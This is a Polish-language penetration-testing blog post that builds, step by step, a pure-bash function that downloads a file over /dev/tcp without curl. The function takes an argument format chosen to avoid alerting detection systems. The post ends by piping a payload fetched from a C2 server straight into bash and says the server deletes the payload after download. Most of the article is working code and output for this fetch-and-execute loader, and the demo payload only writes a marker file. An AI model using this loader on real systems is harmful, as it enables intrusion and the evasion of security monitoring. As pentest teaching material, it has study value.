NFsec Logo

Czysta funkcja bash do pobierania i uruchamiania ładunków

28/11/2023 w Pen Test Brak komentarzy.  (artykuł nr 880, ilość słów: 743)

C

zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:

IFS="+" read server port file <<< $(echo "$1")

Możemy zamknąć ten kod na razie jako tymczasowy skrypt:

IFS="+" read server port file <<< $(echo "$1")
echo $server
echo $port
echo $file

i sprawdzić jego działanie:

agresor@darkstar:~$ bash -x x.sh "stardust.nfsec.pl+80+index.html"
+ IFS=+
+ read server port file
++ echo stardust.nfsec.pl+80+index.html
+ echo stardust.nfsec.pl
stardust.nfsec.pl
+ echo 80
80
+ echo index.html
index.html

Kolejnym krokiem jest zbudowanie komunikacji. Powłoka bash obsługuje operacje odczytu / zapisu z / do pliku pseudourządzenia /dev/tcp/[host]/[port]. Zapisywanie strumienia danych do tego specjalnego pliku powoduje, że otwieramy połączenie TCP z danym hostem na danym porcie. Oprócz zapisu musimy jeszcze podpiąć się z odczytem, aby odebrać zwrócone dane. W tym celu możemy wykorzystać obustronne przekierowanie polecenia exec, które zaczepimy o deskryptor pliku numer 3 (0, 1, 2 są już zarezerwowane):

IFS="+" read server port file <<< $(echo "$1")
exec 3<>/dev/tcp/${server}/$port 

Mając już kanał komunikacji musimy dla niego spreparować żądanie HTTP, które będzie opierało się na poleceniu echo. Jest to dość proste, musimy tylko pamiętać o odpowiednim umieszczeniu znaków nowej linii oraz powrotu karetki:

IFS="+" read server port file <<< $(echo "$1")
exec 3<>/dev/tcp/${server}/$port
echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3
exec 3>&-

Po wysłaniu żądania HTTP możemy odebrać odpowiedź:

IFS="+" read server port file <<< $(echo "$1")
exec 3<>/dev/tcp/${server}/$port
echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3
(while read line; do echo $line; done) <&3
exec 3>&-

Niestety testy tej wersji nie zakończą się powodzeniem:

agresor@darkstar:~$ ./x.sh "stardust.nfsec.pl+80+index.html"
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2023 20:18:05 GMT
Server: Apache
Referrer-Policy: no-referrer
Vary: Accept-Encoding
Last-Modified: Sun, 31 Jan 2016 11:12:35 GMT
Accept-Ranges: bytes
Content-Length: 296
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title>Stardust</title>
<meta http-equiv="refresh" content="5; url=https://nfsec.pl/">
</head>
<body>
<center>
<img src="stardust.png" width="320" height="480" alt="Stardust" title="Stardust" />
</center>
</body>
</html>

Ponieważ zeszliśmy dość "nisko" w komunikacji, otrzymaliśmy w odpowiedzi również nagłówki HTTP, a nam chodzi jedynie o czysty ładunek / plik z danego serwera HTTP. W tym celu musimy pozbyć się wierszy z nagłówkami. Jeśli zamiast echo w pętli whilte podstawimy, coś niespotykanego i użyjemy polecenia cat to zobaczymy, że ciągi tekstowe nagłówków HTTP kończą się "ukrytymi" znakami: $'\r'

(while read line; do cat $line; done) <&3
cat: HTTP/1.1: No such file or directory
cat: 200: No such file or directory
cat: 'OK'$'\r': No such file or directory

Dzięki temu możemy łatwo wyfiltrować nagłówki z pętli i zwrócić tylko główną zawartość żądania HTTP:

IFS="+" read server port file <<< $(echo "$1")
exec 3<>/dev/tcp/${server}/$port
echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3
(while read line; do [[ "$line" == $'\r' ]] && break; done && cat) <&3
exec 3>&-

Ostatnim krokiem jest zamiana skryptu w funkcję. Dlaczego? Ponieważ funkcje są przechowywane w pamięci, a nie w systemie plików i funkcję możemy wywołać raz za pośrednictwem terminala, używając następującego kodu:

function _onthefly() {
  IFS="+" read server port file <<< $(echo "$1")
  exec 3<>/dev/tcp/${server}/$port
  echo -en "GET /${file} HTTP/1.1\r\nHost: ${server}\r\nConnection: close\r\n\r\n" >&3
  (while read line; do [[ "$line" == $'\r' ]] && break; done && cat) <&3
  exec 3>&-
}

a później odwoływać do niej wielokrotnie przez nazwę. Po stronie C2 (Command and Control) przygotowany jest ładunek:

root@stardust:~# cat /var/www/payload.sh
#!/bin/bash
echo "A broken shell straight shackled onto the floor" > /tmp/PWN3D
exit 0

Po stronie celu uruchamiany wcześniej wklejoną funkcję ściągającą ładunek i "w locie" przekazujemy ją do wykonania:

agresor@darkstar:~$ _onthefly "stardust.nfsec.pl+80+payload.sh" | bash
agresor@darkstar:~$ cat /tmp/PWN3D
A broken shell straight shackled onto the floor

Po odnotowaniu pobrania pliku payload.sh serwer C2 usuwa plik, aby nie można go było ponownie ściągnąć...

Więcej informacji: Some useful tips about /dev/tcp

Kategorie K a t e g o r i e : Pen Test

Tagi T a g i : , , , , ,

Komentowanie tego wpisu jest zablokowane.